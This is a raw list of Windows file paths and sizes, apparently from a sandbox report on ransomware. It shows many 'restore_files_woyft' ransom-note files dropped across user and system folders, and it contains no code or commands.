%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\E7VJ4HGS\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\MMC\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\Links\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\48\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\{37E80C13-CB45-4DCE-A438-545B791476AC}\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Recent\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel.xls (427 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\40\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\brndlog.txt (1116 bytes)
%Documents and Settings%\All Users\Documents\My Music\My Playlists\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\37\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\host\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\Beethoven's Symphony No. 9 (Scherzo).wma (6148 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\4XCFALMJ\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\15\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\New Stories (Highway Blues).wma (7698 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bostonhygiene[1].txt (178 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\12\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\28\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\00064D96\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\21\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\32\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.html (5 bytes)
C:\totalcmd\LANGUAGE\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Total Commander\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\VMware Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (12624 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\brndlog.txt (436 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\44\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\DRM\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\brt\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (1157 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel.xls (427 bytes)
%Documents and Settings%\%current user%\Application Data\GHISLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\12\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\45\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Wireshark\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\35\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\57\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
C:\totalcmd\REGISTER.RTF (421 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\40\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel4.xls (419 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\44\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\ip[1].htm (15 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\My Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\host\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\LocalService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\4XCFALMJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (1181 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
